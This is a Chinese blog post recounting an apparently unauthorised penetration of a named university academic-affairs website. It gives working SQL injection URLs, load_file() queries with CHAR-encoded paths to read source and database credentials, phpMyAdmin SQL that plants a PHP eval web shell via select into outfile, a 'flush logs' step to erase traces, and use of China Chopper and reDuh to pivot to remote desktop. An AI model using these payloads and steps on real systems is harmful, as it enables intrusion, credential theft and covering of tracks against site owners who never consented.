Home 应用安全 记一次用load_file()函数的渗透

记一次用load_file()函数的渗透

by zinan

目标站:http://jiaowu.lzjtu.edu.cn/

存在注入漏洞的页面:http://jiaowu.lzjtu.edu.cn/articles.php?id=607

加点后直接报出了网站的物理路径

点击查看原图

再试:and 1=1 正常                     and 1=2  出错

可以确定存在注入漏洞了。

然后:order by 9 — 正常                 order by 10 — 出错

确定参与查询的字段数为9

接下来暴显位:http://jiaowu.lzjtu.edu.cn/articles.php?id=607 and 1=2 union select 1,2,3,4,5,6,7,8,9 

点击查看原图

 

显示位已经出来了,下面可以查询其他的一些信息。

http://jiaowu.lzjtu.edu.cn/articles.php?id=607 and 1=2 union select 1,user(),version(),4,5,6,7,8,9 

点击查看原图

root的,前面我们已经知道网站的物理路径了,那么下面可以尝试一下写shell至网站目录中去,可惜没有成功,shell转换为十六进制的也不成功,看来这种方法行不通。

  在测试网站注入漏洞的同时我还开了wwwscan在扫网站目录,先来看看有没有什么收获。

点击查看原图

打开一条连接后出现:

点击查看原图

url改为这样:http://jiaowu.lzjtu.edu.cn/phpmyadmin/,也就是去掉后面的config.inc.php,然后登陆框就出来了。

点击查看原图

发现phpmyadmin了,到这里我们就有较多的选择进行下一步渗透了,可以继续查询数据库中的信息,得知网站管理员的账号和密码进后台,或者查询mysql库中的user表的password字段,里面存有数据库密码的哈希值,但查询数据库中的密码有一个缺点就是有可能破解不了密码的哈希值。所以这种方法我们并不优先考虑,先来读取一下首页文件。

http://jiaowu.lzjtu.edu.cn/articles.php?id=607 and 1=2 union select 1,replace(load_file(CHAR(69, 58, 92, 65, 112, 112, 83, 101, 114, 118, 92, 119, 101, 98, 114, 111, 111, 116, 92, 106, 105, 97, 111, 119,117,99,104,117,92,105,110, 100, 101, 120, 46, 112, 104, 112)),char(60),char(32)),3,4,5,6,7,8,9                                      —

其中69, 58, 92, 65, 112, 112, 83, 101, 114, 118, 92, 119, 101, 98, 114, 111, 111, 116, 92, 106, 105, 97, 111, 119, 117, 99, 104, 117, 92, 105, 110, 100, 101, 120, 46, 112, 104, 112E:\AppServ\webroot\jiaowuchu\index.phpASCII编码,这里还用了replace()函数,将读取的首页文件中的符号“<”全部替换成了空格,屏蔽了网页效果,这样可以看到网页源码了。

点击查看原图

如果感觉这样读取的文件源码太乱了,并且想要获得更完整的文件源码可以先把hex()函数将文件转换为十六进制。

http://jiaowu.lzjtu.edu.cn/articles.php?id=607 and 1=2 union select 1,hex(load_file(CHAR(69, 58, 92, 65, 112, 112, 83, 101, 114, 118, 92, 119, 101, 98, 114, 111, 111, 116, 92, 106, 105, 97, 111, 119, 117, 99, 104, 117, 92, 105, 110, 100, 101, 120, 46, 112, 104, 112))),3,4,5,6,7,8,9 —

点击查看原图

复制显位处的一长串十六进制代码,然后打开C32Asm,选择“文件”“新建十六进制文件”,完成后选择“编辑”“特别粘贴”,在“特别粘贴”中选择“ASCII Hex”选项。

点击查看原图

 

点击查看原图

接着将文件另存为txt格式后打开

点击查看原图

此时可以清楚看到首页文件中包含了数据库连接文件,接着读这个数据库连接文件。

点击查看原图

得到了mysql数据库的账号和明文密码,进入phpmyadmin

点击查看原图

最后依次执行以下命令:

create database wayne                        /*建立数据库wayne*/

use wayne                                 /*连接wayne数据库*/

create table shell(code text)                    /*建立表shell,字段code为文本型数据*/       

insert into shell(code) values (‘<?php eval($_POST[c]);?>‘);       /*插入shell代码*/

select * into outfile ‘ E:\\AppServ\\webroot\\jiaowuchu\\1.php’ from shell;

/*导出shellweb路径下,此处必须是两个斜杠,因为windows会过滤掉一个*/

flush logs                                               /*删除日志*/

然后拿中国菜刀连接,上传大马,结果发现php继承了system权限

点击查看原图

后来发现3389端口不对外开放,传了个lcx却没法执行,只好用reDuh转发端口

点击查看原图

其中Remote port是远程桌面的端口,只不过被改为了3399。接下来连接本机的1234端口

点击查看原图

 

打赏
0 comment

You may also like

Leave a Comment

*

code